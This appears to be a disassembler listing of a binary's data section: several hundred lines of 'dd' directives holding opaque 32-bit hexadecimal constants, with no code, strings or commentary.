		dd 6D4C7C81h, 89E9FCE8h, 0DB9554B2h, 0CC9F657Fh, 541EC93Ch
		dd 8BC9890Dh, 4A649447h, 58EC4CD2h, 0D87FBDD9h,	0F7648C12h
		dd 116D7105h, 1228CABAh, 0CCEAFE77h, 0DEBF2D4Eh, 0C3933F31h
		dd 0C9FFD707h, 0C742E27Fh, 0C3310B93h, 97170749h, 71000883h
		dd 0D07BCB80h, 4F05FAEBh, 683E603Bh, 94994D14h,	0A665E4EBh
		dd 0ED483BAEh, 0BE9DEACBh, 0C475B2F7h, 7095B2A0h, 1632B5D3h
		dd 5AC2765Dh, 4773CE86h, 392E3722h, 0D8ED8F7h, 5E47B2Fh
		dd 7E90C10Fh, 3D35972Bh, 990E8CEFh, 0A6A80F9Dh,	2F4F0C10h
		dd 0F1A03A0Fh, 176E13C0h, 6EE6094Ah, 0B810503h,	9EA82A0Dh
		dd 7606039Ch, 4EC6E956h, 26350450h, 0FB45780Ch,	9D90C313h
		dd 948C27A3h, 8E58A5A1h, 6829DEBFh, 392200A6h, 0FBBA2E78h
		dd 1DD86709h, 9C4F231h,	0CC5FA12Bh, 165D84DFh, 0B3EA2AAh
		dd 7502EA83h, 2C2D3396h, 4941D61Bh, 7BFFA3EAh, 0F1D2A537h
		dd 0C243D1B7h, 475659C8h, 572C3FC2h, 81672576h,	0B1137599h
		dd 465D04BAh, 0AB1CD7BFh, 0C229F94Ah, 98FF888h,	4405F501h
		dd 3025BE13h, 781FA6AAh, 1D91CF50h, 730BF7B8h, 147FB1E9h
		dd 338CB0ECh, 0F5B74280h, 72FDEDF2h, 3AB24904h,	52AF95Ah
		dd 605F704Bh, 8F2D41FEh, 7BD82C82h, 0E901EDC1h,	4F7EC162h
		dd 2F5DC90Fh, 48EE2A01h, 1A300D6Fh, 18131232h, 4F50EF6Bh
		dd 0B1744C08h, 857B1EE9h, 8224E31Dh, 57DB23E9h,	20F448ECh
		dd 2AECE34Fh, 15438084h, 0B90CDFEAh, 4392610h, 15840FD0h
		dd 657F9119h, 54258945h, 6414F742h, 27119497h, 82765E5Ah
		dd 0E8F5CD51h, 43F2C87Eh, 486A7517h, 40141AE4h,	0AD76BD6Dh
		dd 123E573Dh, 0E0C93C47h, 157CF16Bh, 0B24EE28Ch, 0A74AD95Ch
		dd 0A871655Fh, 0AB5A4BE7h, 0C9BCB222h, 0A42A059Dh, 7CBF5A7Fh
		dd 0CF685864h, 0E0474762h, 46F5233Eh, 1B2A067Ah, 0B13C843Dh
		dd 0DC8A12F2h, 2E3B29h,	22B25266h, 0E91AD130h, 0DF2693CAh
		dd 0F4A28AB2h, 9625A58h, 0C22D11F5h, 83C92030h,	81A62FFh
		dd 0D289D1FCh, 0E6BA5D2Bh, 0C05FF65Fh, 7ADE3E13h, 0E9088084h
		dd 81B194AFh, 0D351BBC5h, 4530606Ch, 44AAE7B0h,	7572625Fh
		dd 4A5EC85Ah, 0B7531880h, 0C7FE00C1h, 5108EFC0h, 0D9E9FAB5h
		dd 2B874259h, 0C9886857h, 1EE1E6D8h, 3DD9F60Ch,	0BA4FBAE4h
		dd 2BF7F344h, 611655F3h, 936BED9Eh, 5E33F50Bh, 7E094BF5h
		dd 7B5926C1h, 501B6EB0h, 17D9780Fh, 0EF412A27h,	0EAA8456h
		dd 0E3A24288h, 81DD0913h, 26CBE2DDh, 30E90AECh,	0BA4EEA38h
		dd 2C1E78F8h, 558C134h,	4C5AB726h, 0F310E2F6h, 0FDB94A3Bh
		dd 1909EA5Fh, 87FBDD5Eh, 0D649E961h, 1537FB2Eh,	2EE1A5A4h
		dd 0C1A0B462h, 409802E3h, 0C341AD04h, 0BB804B36h, 50872EC6h
		dd 3D9BF713h, 47AE4216h, 0AA071319h, 0CF5A1731h, 0FC525B01h
		dd 77C95440h, 0EDC1F7C7h, 119CF05Dh, 33C319C0h,	0B521FD09h
		dd 26F61F40h, 32497F82h, 6A98F002h, 0C9EF2F80h,	2D004A5Dh
		dd 79E7E844h, 0ADF2095Fh, 28BB53C0h, 2060F329h,	64FB8D68h
		dd 32F6B7F2h, 0FD180F42h, 769DC844h, 41B1622Bh,	0FFE9EB76h
		dd 44E91530h, 0DC30A9BDh, 0BB5D584Dh, 4B73503Ch, 0B77F0BEBh
		dd 5A484D78h, 4F202049h, 3D58EC5Eh, 0C00E2FF3h,	512DD8h
		dd 5798A28h, 7AC008A0h,	44EE2AB8h, 4CFDF102h, 57AF02E9h
		dd 9DF8657Eh, 9558829Bh, 2F3E4695h, 9AF447EFh, 0F992422Dh
		dd 0D35D6987h, 9D7BAD29h, 7506FD0Ch, 4BD40EEDh,	0C1C22AB2h
		dd 0B6600BCFh, 900F6853h, 1F40246Ah, 0F1F33D9Bh, 447F27EFh
		dd 0B5D33BDh, 633A7D5Fh, 313F3D80h, 6ECD47F5h, 0FCF4D718h
		dd 4B669EFEh, 81B529DFh, 0C530A9CAh, 0E4B850E4h, 0E5C122Bh
		dd 0C472A401h, 0C09AEF16h, 123029F1h, 6FC7838Dh, 0C0D10106h
		dd 9763CD04h, 63815A0Ch, 78BF0DA5h, 0E782EF3Fh,	7FFE4DA4h
		dd 9C546B40h, 577D69E0h, 47D88DA0h, 590FCC1Fh, 0F07F1D4h
		dd 42CA315Fh, 0E65BA068h, 2DD3E6FDh, 0C03F4E9h,	77B95966h
		dd 480EA6B1h, 65FAF51Ch, 7EE11D84h, 0CBFB86D4h,	0F8C2ADFCh
		dd 1605ECF4h, 82BB4B3Fh, 25006F77h, 237585Dh, 0D5A9051Fh
		dd 0B2426E99h, 3943B07Fh, 1761927Bh, 0EF2FD368h, 4697DE71h
		dd 263F9C6Ah, 873B62E3h, 10D5F830h, 0EB2F3FF9h,	6BBB0F57h
		dd 0BD7EC115h, 0B6021A66h, 296D8922h, 0C52323E0h, 8013EE92h
		dd 0F00E35F2h, 6DFDEF8h, 0F204BECFh, 0FE2885BAh, 0EA410CCEh
		dd 0BC6A7335h, 0A76B1722h, 0BC3A7CC9h, 195DA10Bh, 4E91F26Bh
		dd 0EE87D5B9h, 455F0916h, 84522B42h, 0AF9D13E9h, 0B94A98CEh
		dd 96D98BB2h, 1AFF9D17h, 0A1E67D65h, 45710C9h, 0B110CF08h
		dd 64CFAE4Fh, 0C17B0645h, 8F3B2787h, 53ADB783h,	66B104EBh
		dd 682E914Ah, 20E3DC8Dh, 0D86A8BBCh, 0C12ED802h, 5339443h
		dd 6334DAE3h, 514802Dh,	4DADBF7h, 0ED4BA85Ah, 496F0204h
		dd 4EE90EEBh, 31729D22h, 5B553262h, 1C928C5h, 6BDF6659h
		dd 743FE4E9h, 0D978883Bh, 5C97C771h, 0F5C58135h, 2F2D986Fh
		dd 92969A4h, 0B68BE9F0h, 56821B5Eh, 0F637056Dh,	429605A4h
		dd 0C47F8154h, 84B80067h, 22612839h, 2A970CDh, 0DD890607h
		dd 0F9507DE9h, 59CB2802h, 0D977C380h, 3E1A628Ch, 17A1FE0Bh
		dd 5601FA53h, 0CDFED5F6h, 80040E85h, 0B9B80BEDh, 177724A9h
		dd 9FE50861h, 0AFE46227h, 60E66B27h, 29E0586h, 2966EC32h
		dd 78F2DD8h, 0B72ED781h, 1DEC2A59h, 6CD6E987h, 0B09FEE4Fh
		dd 8060467Eh, 50015866h, 88B5B353h, 0C855BD8h, 97C9E9A0h
		dd 65DF9954h, 0B1054B90h, 8B5EED7Eh, 5B6C78EEh,	4140FFBFh
		dd 0D97702EBh, 0B0297B04h, 5F0881CAh, 0C1C1EC3Fh, 713C709Ch
		dd 611E9440h, 0ED5B5FDFh, 0B5871094h, 41768F44h, 70C03E74h
		dd 30391EF5h, 4E0D6FBAh, 0B2C11743h, 70EE88AFh,	4123C360h
		dd 0B0C82061h, 0BB0E0643h, 672962C3h, 0EB4B4DF0h, 1D653A00h
		dd 2F413D5Fh, 21FDF9E9h, 0FA05012Fh, 0CB16806Ah, 6E30297Bh
		dd 4AE30E4Fh, 0B1285E37h, 0ABD9049Dh, 4DE95FB4h, 580A68D0h
		dd 1D9DA89h, 8F0659B8h,	0B9E8307Bh, 3B707D0Fh, 2A4B0CE9h
		dd 4BEDECACh, 527641E5h, 3B356203h, 8302B0ADh, 312244DBh
		dd 9FF06CD7h, 0F364820Eh, 0B693C27Ah, 7FD16802h, 0D3FE22EEh
		dd 5E40E25Dh, 1A2C35B5h, 0E92EC7A6h, 0D2A72575h, 0ABC66BBFh
		dd 0AE576E05h, 8AEEEF16h, 0DBEFD7B6h, 102C4C9Ah, 74B267Ch
		dd 0A2C731FEh, 27E4C64Eh, 4E1ECA27h, 0FE6831E3h, 0E9575B45h
		dd 0FD70CEDFh, 727F880Ch
		dd 4052AA32h, 40B55D0Dh, 3E04D2FFh, 3E994FE3h, 70811B2Eh
		dd 0B43E6368h, 0FF11801h, 70C66818h, 0BBDF9D27h, 3EC4EB2Eh
		dd 125BE93Dh, 7981F315h, 25BDD758h, 0D411D5B0h,	6803E628h
		dd 0F8296440h, 7AC14945h, 5DAB2D1Fh, 33109E97h,	4420734Ch
		dd 42EEB904h, 0F0FF2F90h, 995B1EFh, 5B03F49Bh, 52560C00h
		dd 0AD4AFB68h, 3798A04Ch, 4CD6BA71h, 6979E921h,	700045D2h
		dd 496A1BB3h, 80FA5AB7h, 62F16808h, 0FB22D51Ch,	0D8AF5A04h
		dd 0E895C1A3h, 96256657h, 10B763D1h, 2EF16303h,	0DADA06DBh
		dd 0BE94A0EAh, 504C258Fh, 6C6B218h, 946F965h, 8B2FB0D6h
		dd 0BD0F53A9h, 0A3BA4293h, 0EB9680h, 273EBFF7h,	0E2B58936h
		dd 58C169D1h, 8FAD528Bh, 91D31855h, 6DFE8248h, 0DB258E00h
		dd 0C1D9F75Ch, 24DA76B0h, 0D0BC3AA3h, 0A566A8D6h, 2CB510E8h
		dd 0F82FE98Ch, 0B3211666h, 0BE183435h, 823AECF1h, 1B8407F5h
		dd 0BBA9EAE3h, 1149E9C2h, 0F800945Fh, 0ED4C5AA6h, 389D9756h
		dd 0BC7BB43Fh, 393D1116h, 0BF4880F8h, 0D32C404h, 4B10004Eh
		dd 59E9029Bh, 5A1689B2h, 5076AD05h, 6C1342BCh, 42173DE8h
		dd 2D6A54A1h, 0C30A6892h, 2F404F68h, 0E4D830A9h, 45F519AAh
		dd 0E5A5A576h, 0B965E0ECh, 4569E51Dh, 18C981C0h, 0AB1C9515h
		dd 40E0C0DBh, 0FF7A5072h, 0E9497A08h, 869C81E3h, 2A77B53Bh
		dd 697EFCADh, 43820C8Eh, 0DA7E97D7h, 98278CC8h,	9C182F66h
		dd 0E65AE52Ch, 53BE5E2Ah, 93BEA38Bh, 6BF5D9BBh,	62E92B05h
		dd 0CEC4D758h, 45292D3Fh, 0D2800678h, 484A1B51h, 570934E8h
		dd 0B6569E6Ah, 0B871E904h, 82E5FCBAh, 0C8FEF554h, 25E5A17Eh
		dd 618A5C2Eh, 54434219h, 0CE876805h, 706FFF09h,	0C908D6AFh
		dd 48687B21h, 0C39A3819h, 0D0743967h, 9555A9E9h, 0FBBCD979h
		dd 97DB0A95h, 0ECF24CACh, 0D84E30E5h, 6A8B0D38h, 87105B28h
		dd 8B7307Fh, 2D00E52Ch,	671B209Ah, 1C7C090Dh, 6A7F0E77h
		dd 6C8FF579h, 52835A0Ch, 82EA8925h, 0B7BF7DFh, 163C365Ch
		dd 16924C85h, 9C40D7F9h, 6B4B7F21h, 0DE79761Eh,	0B40F9B8h
		dd 9A72A959h, 7D673A4h,	2F07C125h, 426E67Ch, 80980872h
		dd 19FFC9A9h, 7E7FEF2Ch, 86EC2813h, 0FA28ABD6h,	0F29081DAh
		dd 98995422h, 1F1ABDA4h, 4B719337h, 0E4C421D1h,	4BE664Eh
		dd 81F44C0Bh, 0D8F7BD08h, 554D0E65h, 13AF5B16h,	9827045Ch
		dd 0BA66012Eh, 6AE40731h, 6AB0BD17h, 0ECB52969h, 30D6B7A1h
		dd 0B3B72A6h, 2409E2A4h, 45B8DB50h, 0DC54532Dh,	300929E8h
		dd 23F3DFC3h, 0AEF3F50Dh, 0FB8C842Ah, 23116B40h, 5DE9102Bh
		dd 0A84EFAF4h, 2FC81696h, 291706A2h, 89FCBC47h,	0C89EFD32h
		dd 0F62B129Dh, 5BBA02CFh, 0A0F0683h, 92808EBh, 4B6F6820h
		dd 0EB8FBE5Dh, 807F44Fh, 92D5CA41h, 0D2F7C78Fh,	84610F8Bh
		dd 360FFBFh, 0E1739976h, 9FC0B749h, 95FCF11h, 0EB5401FFh
		dd 0F2C52591h, 883B752h, 0E9171C40h, 71355825h,	16BA775h
		dd 2109824Ah, 0D8645D4Eh, 87F52909h, 780F5EEh, 5EDC420Dh
		dd 8374549Dh, 2D3078A2h, 3BD436A9h, 0E13FD7D9h,	0B57BF4E3h
		dd 57F7C5C0h, 0F7FDEBB2h, 9E676DAh, 676AEE28h, 5AEBA00Fh
		dd 0D5214332h, 3A231068h, 18EE2A8Ch, 983D7E55h,	6D062932h
		dd 33FDE963h, 0FD055E3Ch, 0FEDC6302h, 47F71207h, 4264BD20h
		dd 37FA16FCh, 0EAA01DE8h, 7103CB7Ah, 0D6E95233h, 5B24273Ch
		dd 0C6550055h, 760751E0h, 84CE0619h, 182A1227h,	5B36DA00h
		dd 0E9575250h, 0FF9A60D0h, 0F34BBCC2h, 10EB2D5Fh, 5F2F08F8h
		dd 0AA5A41F9h, 0B542A546h, 6856003Eh, 0B8B9722Fh, 3192A424h
		dd 0E088CDFAh, 77B85AD7h, 690270EEh, 142A0513h,	9139616Fh
		dd 0C594D26Fh, 0F4217CE8h, 0A7CAC7B7h, 7B42EE51h, 8093D54Ah
		dd 0E3496EC1h, 0FBF555CAh, 5F1249E8h, 79793DC1h, 6FF45A11h
		dd 30229C59h, 1393E939h, 0DAB1DF95h, 0C1F064F4h, 507E224h
		dd 3178302h, 3055FE2Ch,	5F0FB4F0h, 86353000h, 0E96BA30Bh
		dd 402E40CEh, 7B0F05E2h, 84147222h, 0F9D60FC5h,	2B6C004Ch
		dd 69BA0B60h, 0B4599FD7h, 952D028Bh, 5F196B50h,	7049762h
		dd 26BC05Ah, 0FAE5695Eh, 3CE3AD82h, 0F8E03866h,	0DB14419Dh
		dd 0F567672Fh, 7E9DFB08h, 0FCF08642h, 1BDE406Dh, 28E931F4h
		dd 294D063Fh, 5A684CE0h, 5FFAFC05h, 0CB9314E9h,	4F1F3B83h
		dd 2D680D88h, 1BFE165Fh, 32295951h, 1FF1E981h, 0D97A3013h
		dd 5A0852D0h, 713CA6F1h, 576A0E4h, 0EB28A097h, 64C1769Ah
		dd 0FFC7320Eh, 412040CCh, 661601Ah, 0EE6575B0h,	0C7852910h
		dd 44F11928h, 8D0CC147h, 8871A579h, 73491668h, 5BE2FCD7h
		dd 0D2B747ECh, 6B8724A1h, 6F9ECD0Ch, 5FD97481h,	32C25781h
		dd 0F64CB069h, 2C4DC475h, 5A11FCE1h, 0CB305Ch, 772816B8h
		dd 1F2901Dh, 138F454Ah,	3A4B30E9h, 0F37ED78Eh, 5921093Ah
		dd 0DEEC317Dh, 97DFE7D3h, 98D9CEEFh, 3B1780F0h,	0EE002D8Ah
		dd 27422AFDh, 0DE958DE9h, 60E8047h, 4BBA02E2h, 0FE256918h
		dd 2D5E495Eh, 88772DA5h, 0DE270829h, 6BC2C2E5h,	0B1055A00h
		dd 0DBC485Eh, 72DF814h,	0F786AF48h, 4B762A85h, 680DBA25h
		dd 3536460Ah, 0BE0C2E0Fh, 33F8EAD5h, 0E78BBAB4h, 0EAE1D212h
		dd 3E172BB3h, 0DD3AB853h, 0F09809FDh, 62FB54FEh, 0B3C9FAB1h
		dd 161660DDh, 39C98FC0h, 0F632CF12h, 95037010h,	13DB3C77h
		dd 0E5935EE9h, 6EC2312Bh, 0D010FCE6h, 161E4C0Eh, 66A2095Ah
		dd 0EC81500Bh, 190BEECh, 0A0784827h, 0BE5372F8h, 46608261h
		dd 0BD4882C7h, 0E3D14064h, 495B3712h, 805BAB5h,	56A3BBE8h
		dd 151B8010h, 1113593Bh, 0ED72FFC8h, 0DA71DF5Bh, 0FC2A5842h
		dd 0EC2F681Dh, 0AD9CA64Eh, 0A2C9044Fh, 6025F5FAh, 10419FB8h
		dd 6C32D92Eh, 0B6B802DEh, 62152E3Ch, 2D85764Bh,	8472BAD6h
		dd 290431BDh, 91A3FECAh, 0AAADE98Eh, 0F6C06F27h, 1ADD09C9h
		dd 1E535F1Eh, 0F1FE1C78h, 0CF485E73h, 36164F64h, 17ECDAEFh
		dd 73B91E76h, 0C2C28987h, 85654CFh, 0B8E42AB4h,	3CFCF35Ah
		dd 0FF9192F7h, 1779DCF4h, 0B8294972h, 590840EBh, 4413AE9Ah
		dd 0CFAC74B4h, 0C2F78085h, 566495ABh, 7673C507h, 0ED654F1Dh
		dd 0D85ED4EBh, 0EF25E9F2h, 95FD219h, 2EE24416h,	40EA6AF7h
		dd 6438C4Dh, 6E94E57h, 0BB0E6A72h, 0F61E3F78h, 5609DEB8h
		dd 0A48DDBBEh, 62AC8228h, 77DDD3D4h, 0A0DD9889h, 333F3643h
		dd 0E870BD7Dh, 0DAA1A402h, 44EB3147h, 61252D07h, 73EF9E54h
		dd 54D587EBh, 5CCCFE1Eh, 3D6B1EBFh, 0A38FADFCh,	3C29900h
		dd 0DF4801AFh, 0FF651211h, 0D968E2FEh, 0A905F04Ch, 61B52792h
		dd 0CB6E0152h, 0E28B5088h, 91546840h, 0E35ECB6Dh, 12A35C93h
		dd 0BAAE68C5h, 0CBFBC917h, 0BF411779h, 6D53938Dh, 58FAEA57h
		dd 245858FBh, 5A9AEDB4h, 6809D0CAh, 0ACD46D27h,	6C3995Ch
		dd 0D32B3468h, 8058EE20h, 2748BFD7h, 185E4508h,	0DE5DE400h
		dd 2D20BB1Ah, 0B8DABA04h, 3057E90h, 4B025C2Fh, 0E2501990h
		dd 0FC0BDD6h, 0B5B4DD29h, 51685760h, 5341F53h, 0ADFAD45Fh
		dd 0B7501CE2h, 0E30E82B5h, 0F8A4775Eh, 0C0BCEF63h, 0C2292163h
		dd 5AFA92EBh, 2DC3685Dh, 4A31FA5Bh, 3DA0C1C8h, 0A21D05ECh
		dd 4217EE66h, 0E27FC2AFh, 44F26A60h, 0A44BA078h, 415D32B8h
		dd 0D25C14C9h, 7DC133CFh, 0F22F5AD0h, 69BDCCB4h, 0F7F11D81h
		dd 0FBB55392h, 2DEE2416h, 7F6682F3h, 0DC334802h, 5F0720D2h
		dd 1783345Bh, 3168D2C4h
		dd 4AFF58F5h, 0F2F0E4C4h, 90EA5E4Eh, 715320CEh,	0D2DF0A7Ch
		dd 0A15DE8CFh, 0C63EEDE4h, 0EA4B4E3Ch, 2829633Dh, 0B580B886h
		dd 0E9C1210Bh, 4911A06Fh, 1810E181h, 0EE427004h, 0DC0F11BBh
		dd 0D390E923h, 0B0109CB9h, 4C54888h, 2E4E126Eh,	40A34BDCh
		dd 0B7015334h, 80D7F6F3h, 0F17A01EFh, 0E9109DAFh, 0C0586BAFh
		dd 5EC1760Eh, 0C03CE271h, 32AB6B98h, 65F04829h,	9767F200h
		dd 0B436E96Fh, 0F4AE42D2h, 0FB968CEEh, 3D28F381h, 0B6001A1h
		dd 9E7B1D9Bh, 0E960E4E3h, 0B8350EE0h, 0EA7849EEh, 4AF35897h
		dd 84FDB937h, 854B2348h, 6F278F74h, 0C67FA524h,	7A04A90h
		dd 23BBBF88h, 0D5D2FE44h, 13D7A7Ch, 78A72185h, 0F47AEFD1h
		dd 431DFDF6h, 0CF873E3Fh, 3BA617A9h, 5C450C0Ch,	336066C5h
		dd 879B0D17h, 0E91249FAh, 79BDCC7Ah, 56611281h,	0EB4A0928h
		dd 0E8576309h, 3F40C312h, 6926B38Fh, 77358115h,	0E93D73ECh
		dd 14DFEAE3h, 487E2E85h, 6084C912h, 75B80088h, 43B3D39h
		dd 1325FA05h, 0DB4EB41h, 79681C5Ah, 0CCD72775h,	54552F1Dh
		dd 0A4F19FD5h, 7F0F08E8h, 5C8923Eh, 76B9A4AAh, 68044BB4h
		dd 0CCFA772Bh, 0E19F20DAh, 0D3C5E90Ch, 5BEDDF82h, 0E480763Fh
		dd 41F813F5h, 8EF03AE3h, 3977BA02h, 6C3A6F2Ch, 0E828F009h
		dd 6EB14E87h, 264B2113h, 14BF01D1h, 1423A2F8h, 610F781h
		dd 1872C527h, 0D8DBE912h, 4F9531BFh, 68510163h,	0C95E5E2Ah
		dd 0FA5F2186h, 0F4C8E6E3h, 90429535h, 258147FFh, 3DD90F32h
		dd 34FA7D69h, 0D656682Fh, 0B6E96129h, 8BBF6D77h, 12208050h
		dd 9853C11Ch, 0FE024FB2h, 0EB4D0042h, 8C40E1Eh,	0AA4EC40Bh
		dd 0ACFCFD05h, 12F0F2BEh, 0F4E40E44h, 266717E6h, 3AB5F049h
		dd 14D41D01h, 15E9CE31h, 0BB13C42Fh, 2B547ACh, 12029959h
		dd 2FC3EA41h, 0E909C4FCh, 0A576632Fh, 40807BECh, 0D150212Eh
		dd 0EA13F185h, 630B4A7Ch, 7D82C255h, 4B4E1E50h,	62681680h
		dd 9E699731h, 4EE040Eh,	8002E70Dh, 498068BCh, 0ACC7314Eh
		dd 2086E6C6h, 699887EBh, 0BF125773h, 0D50327B5h, 0E61F92CFh
		dd 415C9446h, 264A9A68h, 12A6014Fh, 0D331E357h,	3C26ED50h
		dd 0A93A4B0Ch, 5B0840C7h, 993EBCA0h, 53D35800h,	954BEFBBh
		dd 0AA294E17h, 11542CBh, 750CE7D6h, 0DA40290Ch,	7B7F3C1Fh
		dd 335632Dh, 0FDD8EA74h, 32093ADDh, 122064E9h, 0EB47EB94h
		dd 0FAACE9C5h, 44C21B8Ah, 56BE18ECh, 43F01D63h,	378C4CC1h
		dd 0EA2045A1h, 0C3237D1h, 8DEEE78Bh, 89C23D10h,	0BA325F50h
		dd 58C67DA2h, 109E7E7Eh, 32D8F960h, 3AFC9D90h, 2F5FB8C0h
		dd 0F4364A96h, 700EF57Ch, 0DE7DC244h, 0B06405Dh, 5BDC5648h
		dd 0F796DC3Dh, 0C861F94Eh, 0EC6ABF8Ah, 0CD5DA350h, 4F39F2FEh
		dd 0B729A50Fh, 0E98385ADh, 0FF843392h, 8698FAE2h, 0BE804EF7h
		dd 53700F47h, 78394625h, 7C01050Ah, 765E624Dh, 2C4FD2Bh
		dd 8416A1ECh, 0A597F129h, 9AC0F664h, 40C27541h,	0DD003F7h
		dd 5A7353C6h, 0F68B80ADh, 352D4809h, 294C0FFAh,	7D1657C3h
		dd 87F46F30h, 50800CF1h, 0FACF8D21h, 0BFF34C7Ch, 0D540AED3h
		dd 68525559h, 320C031Ch, 7B38E965h, 92FC434Bh, 0E545EC4Fh
		dd 6FBD8DAEh, 30A4A606h, 0D2BB002Ch, 81073D71h,	410199CBh
		dd 0E9431511h, 83A4CA4Eh, 95E6883Ch, 5D9A2D01h,	85235290h
		dd 0A037E985h, 0B3984F44h, 0BDDE00B5h, 1FC85461h, 9EE2965h
		dd 0BD54E4DFh, 9D2E662h, 0C2E79404h, 3062D01Ch,	59FA18C3h
		dd 0F5C48B75h, 0E916909Ch, 77C899F2h, 0EB0F2D89h, 0FC25945Eh
		dd 0E5787280h, 0B7A1B500h, 0E9EF3065h, 453465DCh, 0A0A1FBEAh
		dd 0AE3453EDh, 45370CBBh, 51643D23h, 39F1F212h,	52FB7917h
		dd 0B45117D8h, 8F3DC7A6h, 4EFEB0DCh, 5E2F75A1h,	41ABBD35h
		dd 59A13A08h, 575C8411h, 5861AD2Fh, 291F1692h, 41E6688Ch
		dd 7F7F4C0h, 0EBCB799Dh, 31907365h, 8E99C0Ah, 168992AEh
		dd 1BF9116Bh, 0EB5950C5h, 27BBF220h, 29531307h,	0D082F84Ch
		dd 0A8F84E0Ch, 0B50BFC4Eh, 89BEF2BEh, 0E4477D5Dh, 46138F8Bh
		dd 39E801FFh, 2CE90714h, 7A632A26h, 34C90522h, 82E8C013h
		dd 0C0EB5610h, 735ED63Ch, 0FAC73E55h, 0F6EB58D5h, 0D7E85B33h
		dd 0F072CE0Bh, 0F5955946h, 0D42FD515h, 782C02ECh, 0DE421F50h
		dd 951D12Ah, 0B759B6DAh, 0AB8E5493h, 0FEF88B0Bh, 0DD62A2D9h
		dd 5496D562h, 0A04BAAFAh, 89A70E5Fh, 95515782h,	7A777C52h
		dd 0E9FD307Dh, 84FA9AE2h, 433913FAh, 0EE28C3BAh, 0FAB3AE03h
		dd 9A5BDA88h, 1D0660D4h, 0D82180ECh, 5FC97AB4h,	0E7365840h
		dd 455E7CBDh, 0FBB656A8h, 0BC09868Ah, 6CEEFEE5h, 9E3B7777h
		dd 0C4C1034Eh, 0D9267F30h, 882B170Dh, 501266D2h, 88A96AB4h
		dd 0D3681378h, 9B2EE85Ch, 0DC5C504Ah, 0A0EA906Fh, 13D4E343h
		dd 72A483Fh, 0F3547D7Bh, 0E0E7D153h, 120E6FF3h,	0D801E704h
		dd 0CFF811E9h, 943EB64Bh, 22408E8Bh, 0A95D31E2h, 6492DDFCh
		dd 744CCB00h, 29621936h, 0FF7B219Bh, 5BA03C66h,	0C080690Fh
		dd 0A1065FECh, 2AD3116Bh, 0C1C993E5h, 0B84AE7ADh, 0E32412A4h
		dd 68C3F6EDh, 3B197B17h, 0C3C1F372h, 0FF13EE2Ah, 28979EFEh
		dd 12F3CC1h, 673A593Bh,	0D6FEEF21h, 6C3EE49Ah, 8092F19Fh
		dd 18576297h, 4C4431E9h, 0C5503C1h, 0CB21DD3Dh,	89D89CEAh
		dd 391E6813h, 0D914D4A3h, 50071A09h, 0B444A834h, 1B0B89Bh
		dd 0CB1B1DBAh, 0F1614A0Fh, 3FBD3570h, 40131F91h, 87FC1E4Dh
		dd 60730510h, 0FD6F7FE5h, 298147Dh, 647B6B41h, 2E09FF92h
		dd 0C3CC577Dh, 0BA9F5F4Ah, 232DE90Ch, 7E45B0C9h, 846CB87Eh
		dd 49B3346Ch, 4EC7C010h, 57DA80AAh, 1B1F9B68h, 0FEC5496h
		dd 4BDDCC25h, 0B93EC44Bh, 3A1F84FEh, 0FC1A0F8h,	2E28233Fh
		dd 0A8E553FAh, 60B95BA3h, 0F51AE84h, 0AAED5F5Ah, 5121A32Dh
		dd 0AAE3F30Ah, 76585B0Bh, 547D5243h, 583724A1h,	98A55059h
		dd 0FCA08464h, 5556015Ah, 744A9E68h, 641B7B2Dh,	0F5DA825Ah
		dd 9445D0Fh, 2174FF1Dh,	0EE4C84BAh, 0F2FC5AD1h,	0E261F274h
		dd 25237A94h, 98753DCFh, 0E35C68DCh, 53778C6Ah,	0BF5E844h
		dd 543D741Ah, 9B7AD90Bh, 0E658E912h, 0BBD7F0ECh, 61832885h
		dd 0ADEAEC45h, 48E9A12Ch, 9A593524h, 0B1274BE5h, 0A42B2DE1h
		dd 4CFAADBFh, 5012186Ah, 1D7FEF31h, 8959AF4Ah, 8385FCCFh
		dd 0C9EF092Ah, 48CC0AFCh, 6A687453h, 3E296074h,	69A0272Dh
		dd 0E799E170h, 7B060AB5h, 7FC71A15h, 742422F6h,	0F701A0B9h
		dd 0D57B0150h, 0CDA1E16Eh, 0B5126ADDh, 49E97320h, 0BA7EC0AEh
		dd 0AF764F5h, 292F789Dh, 9EBE1719h, 0B760E68h, 9E81C092h
		dd 664FA060h, 3F5188B4h, 0E989F87Ch, 0B27C0BB9h, 80DE4350h
		dd 4B0E2D95h, 0A003AD1Ah, 655A6C57h, 0B76B2DE9h, 0FC2753FAh
		dd 0D02C928h, 0B2764189h, 0B3B3B5Dh, 6B68F17Eh,	729D18FAh
		dd 0D494B7F6h, 0A14F527Fh, 0BC685503h, 4533120Ah, 0CB17F8BAh
		dd 9C3E133h, 80E0AF71h,	0F383A98Ch, 0C1DB626Eh,	98D2D877h
		dd 0DEF49D4Fh, 0F5CE7827h, 8279D4F6h, 3DB03CA6h, 7D5A42D7h
		dd 763BDA80h, 531D1F65h, 19CC17BBh, 9EE06C70h, 0A4CD672Fh
		dd 4E15A828h, 1A919EBAh, 0D73CDA9Fh, 53925059h,	0BBDB1D05h
		dd 892B63FFh, 0B92C2DFh, 0F8C94354h, 5EB22676h,	4A5A0C82h
		dd 8913C2B0h, 0D409631Dh, 5E3DA5ADh, 5DCA6CFFh,	2177919Dh
		dd 0A5BBFCD2h, 0C1D8D5Dh, 929EC2Ah, 5514EFE9h, 0F8FF3A92h
		dd 95EBEC96h, 0D8A20B55h
		dd 97517E8Ch, 2D00DE59h, 5DDE30CBh, 0EA4B0705h,	0EB89B0C7h
		dd 0FCBF8816h, 0C12158D7h, 0A078D09Dh, 0B45D726Bh, 0ECE153BCh
		dd 0FE347A3Fh, 4AE94280h, 0AC8AC275h, 754ED830h, 271F3220h
		dd 13DBB468h, 13FFCE16h, 4B04EB1Eh, 0F8BB93D3h,	3FE3B750h
		dd 0F94509CDh, 1383E15Ch, 15058B17h, 0D4254F4h,	0E7F59800h
		dd 0B06DF77Ch, 0F7E3F97h, 0CDE0F8A7h, 0C25E685Bh, 0C07EE18Dh
		dd 0C67685D5h, 0EBF8535Ah, 0D2253D01h, 2B3AE90Bh, 0A4CFC185h
		dd 4829EF5Eh, 2A97DD7Bh, 91A144E8h, 0C38001F8h,	57BC23Ah
		dd 455F82F5h, 0EE0402C7h, 9680545Dh, 0F72803Fh,	0B44CCB84h
		dd 1FD2840Ch, 5CBFF812h, 0BC0518E4h, 17A0CE86h,	0BA5F176Fh
		dd 0B1E9F044h, 0B4BDDCE0h, 0BF578B8Ah, 0E9B76077h, 42C2BD39h
		dd 258ED37Fh, 55DA73Ah,	39ABFE15h, 9CE16E34h, 0E955203Ah
